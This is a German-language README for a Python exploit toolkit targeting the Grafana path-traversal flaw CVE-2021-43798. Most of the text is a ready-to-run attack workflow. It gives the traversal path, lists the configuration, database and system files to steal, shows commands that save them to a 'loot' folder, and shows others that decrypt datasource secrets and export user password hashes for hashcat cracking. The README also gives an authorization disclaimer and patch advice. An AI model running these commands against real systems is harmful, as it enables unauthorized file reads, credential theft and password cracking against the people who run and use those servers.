
Python-Toolkit für autorisierte Tests von CVE-2021-43798 Grafana Path Traversal, mit PoC für beliebige Dateiauslese, Entschlüsselung von Geheimnissen und Export von Benutzer-Hashes für Sicherheitsbewertungen.
Python-Werkzeugkasten für autorisierte Tests von CVE-2021-43798, einer Path-Traversal-Schwachstelle in Grafana, die es nicht authentifizierten Angreifern ermöglicht, über Plugin-Asset-Pfade beliebige Dateien zu lesen.
Dieses Repository enthält:
grafana_poc.py: interaktiver Proof-of-Concept (PoC) zum Lesen beliebiger Dateien, der heruntergeladene Dateien lokal speichert.grafana_pass_decryptor.py: Hilfsprogramm zur Entschlüsselung von verschlüsselten Grafana-Datenquellen-Geheimnissen, wenn grafana.ini und/oder der secret_key verfügbar sind, sowie zum Exportieren von Grafana-Benutzerpasswort-Hashes aus der grafana.db.Verwenden Sie dieses Projekt nur auf Systemen, die Sie besitzen, betreiben oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Nicht autorisierte Ausnutzung kann sensible Dateien, Zugangsdaten, private Schlüssel, Datenbankinhalte und Benutzerpasswort-Hashes offenlegen.
CVE-2021-43798 betrifft Grafana-Versionen von 8.0.0-beta1 bis 8.3.0. Die gepatchten Versionen sind 8.3.1, 8.2.7, 8.1.8 und 8.0.7.
Die Schwachstelle ist über Plugin-Asset-Pfade wie den folgenden erreichbar:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<datei>
Häufig bei autorisierten Validierungen angefragte Dateien sind:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
Der Zugriff hängt von den Betriebssystemberechtigungen des Grafana-Prozesses ab.
requestspycryptodome oder cryptography zur Entschlüsselung von GeheimnissenAbhängigkeiten installieren:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Führen Sie den interaktiven PoC gegen ein autorisiertes Ziel aus:
python3 grafana_poc.py -H http://ziel:3000 -o loot
Geben Sie an der Eingabeaufforderung absolute Pfade ein:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
Heruntergeladene Dateien werden im Ausgabeverzeichnis gespeichert, wobei eine sichere Version des entfernten Pfades beibehalten wird, z.B.:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
Wenn Sie sowohl grafana.ini als auch grafana.db haben, kann das Entschlüsselungswerkzeug den secret_key aus der Konfigurationsdatei lesen und versuchen, verschlüsselte Geheimnisse von Datenquellen, Alarmmeldungen und Plugins zu entschlüsseln:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
Manuelles Entschlüsseln eines einzelnen verschlüsselten Blobs:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
Ausgabe als durch Zeilenumbrüche getrenntes JSON:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
Grafana-Benutzerpasswörter sind keine verschlüsselten Geheimnisse. Es sind gesalzene PBKDF2-Hashes. Exportieren Sie sie aus der user-Tabelle:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
Nur hashcat-Modus 10900-Zeilen exportieren:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Aktualisieren Sie Grafana auf eine gepatchte Version:
8.3.1 oder neuer für den 8.3-Zweig8.2.7 oder neuer für den 8.2-Zweig8.1.8 oder neuer für den 8.1-Zweig8.0.7 oder neuer für den 8.0-ZweigFalls ein sofortiges Update nicht möglich ist, empfiehlt Grafana in seinem Advisory, einen Reverse-Proxy vor Grafana zu schalten, der Anfragepfade normalisiert, um das Path-Traversal-Verhalten zu mildern. Behandeln Sie dies als vorübergehende Maßnahme, nicht als Ersatz für das Patchen.
Der ursprüngliche öffentliche PoC wird s1gh auf Exploit-DB zugeschrieben. Der Workflow zur Entschlüsselung von Grafana-Geheimnissen ist inspiriert von öffentlicher Forschung und Beispielen von jas502n/Grafana-CVE-2021-43798, wobei dieses Repository ein Python-Hilfsprogramm für Labor- und autorisierte Assessment-Workflows bereitstellt.